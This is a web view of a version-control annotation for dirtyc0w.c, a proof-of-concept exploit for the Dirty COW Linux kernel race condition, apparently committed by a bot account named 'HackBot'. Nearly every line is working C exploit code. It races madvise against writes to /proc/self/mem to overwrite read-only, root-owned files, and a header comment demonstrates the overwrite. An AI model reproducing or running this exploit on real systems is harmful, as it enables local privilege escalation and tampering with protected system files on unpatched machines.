Mercurial > repo

annotate dirtyc0w.c @ 9488:c44d1d9b6099

Find changesets by keywords (author, files, the commit message), revision number or hash, or revset expression.
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
author HackBot
date Fri, 28 Oct 2016 18:28:08 +0000
parents
children
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
9488
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
1 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
2 ####################### dirtyc0w.c #######################
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
3 $ sudo -s
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
4 # echo this is not a test > foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
5 # chmod 0404 foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
6 $ ls -lah foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
7 -r-----r-- 1 root root 19 Oct 20 15:23 foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
8 $ cat foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
9 this is not a test
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
10 $ gcc -pthread dirtyc0w.c -o dirtyc0w
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
11 $ ./dirtyc0w foo m00000000000000000
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
12 mmap 56123000
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
13 madvise 0
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
14 procselfmem 1800000000
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
15 $ cat foo
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
16 m00000000000000000
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
17 ####################### dirtyc0w.c #######################
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
18 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
19 #include <stdio.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
20 #include <sys/mman.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
21 #include <fcntl.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
22 #include <pthread.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
23 #include <unistd.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
24 #include <sys/stat.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
25 #include <string.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
26 #include <stdint.h>
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
27
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
28 void *map;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
29 int f;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
30 struct stat st;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
31 char *name;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
32
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
33 void *madviseThread(void *arg)
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
34 {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
35 char *str;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
36 str=(char*)arg;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
37 int i,c=0;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
38 for(i=0;i<100000000;i++)
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
39 {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
40 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
42 > This is achieved by racing the madvise(MADV_DONTNEED) system call
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
43 > while having the page of the executable mmapped in memory.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
44 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
45 c+=madvise(map,100,MADV_DONTNEED);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
46 }
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
47 printf("madvise %d\n\n",c);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
48 }
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
49
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
50 void *procselfmemThread(void *arg)
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
51 {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
52 char *str;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
53 str=(char*)arg;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
54 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
56 > The in the wild exploit we are aware of doesn't work on Red Hat
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
57 > Enterprise Linux 5 and 6 out of the box because on one side of
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
58 > the race it writes to /proc/self/mem, but /proc/self/mem is not
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
59 > writable on Red Hat Enterprise Linux 5 and 6.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
60 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
61 int f=open("/proc/self/mem",O_RDWR);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
62 int i,c=0;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
63 for(i=0;i<100000000;i++) {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
64 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
65 You have to reset the file pointer to the memory position.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
66 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
67 lseek(f,(uintptr_t) map,SEEK_SET);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
68 c+=write(f,str,strlen(str));
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
69 }
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
70 printf("procselfmem %d\n\n", c);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
71 }
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
72
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
73
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
74 int main(int argc,char *argv[])
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
75 {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
76 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
77 You have to pass two arguments. File and Contents.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
78 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
79 if (argc<3) {
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
80 (void)fprintf(stderr, "%s\n",
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
81 "usage: dirtyc0w target_file new_content");
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
82 return 1; }
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
83 pthread_t pth1,pth2;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
84 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
85 You have to open the file in read only mode.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
86 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
87 f=open(argv[1],O_RDONLY);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
88 fstat(f,&st);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
89 name=argv[1];
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
90 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
91 You have to use MAP_PRIVATE for copy-on-write mapping.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
92 > Create a private copy-on-write mapping. Updates to the
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
93 > mapping are not visible to other processes mapping the same
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
94 > file, and are not carried through to the underlying file. It
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
95 > is unspecified whether changes made to the file after the
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
96 > mmap() call are visible in the mapped region.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
97 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
98 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
99 You have to open with PROT_READ.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
100 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
101 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
102 printf("mmap %zx\n\n",(uintptr_t) map);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
103 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
104 You have to do it on two threads.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
105 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
106 pthread_create(&pth1,NULL,madviseThread,argv[1]);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
107 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
108 /*
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
109 You have to wait for the threads to finish.
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
110 */
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
111 pthread_join(pth1,NULL);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
112 pthread_join(pth2,NULL);
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
113 return 0;
c44d1d9b6099 <moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff changeset
114 }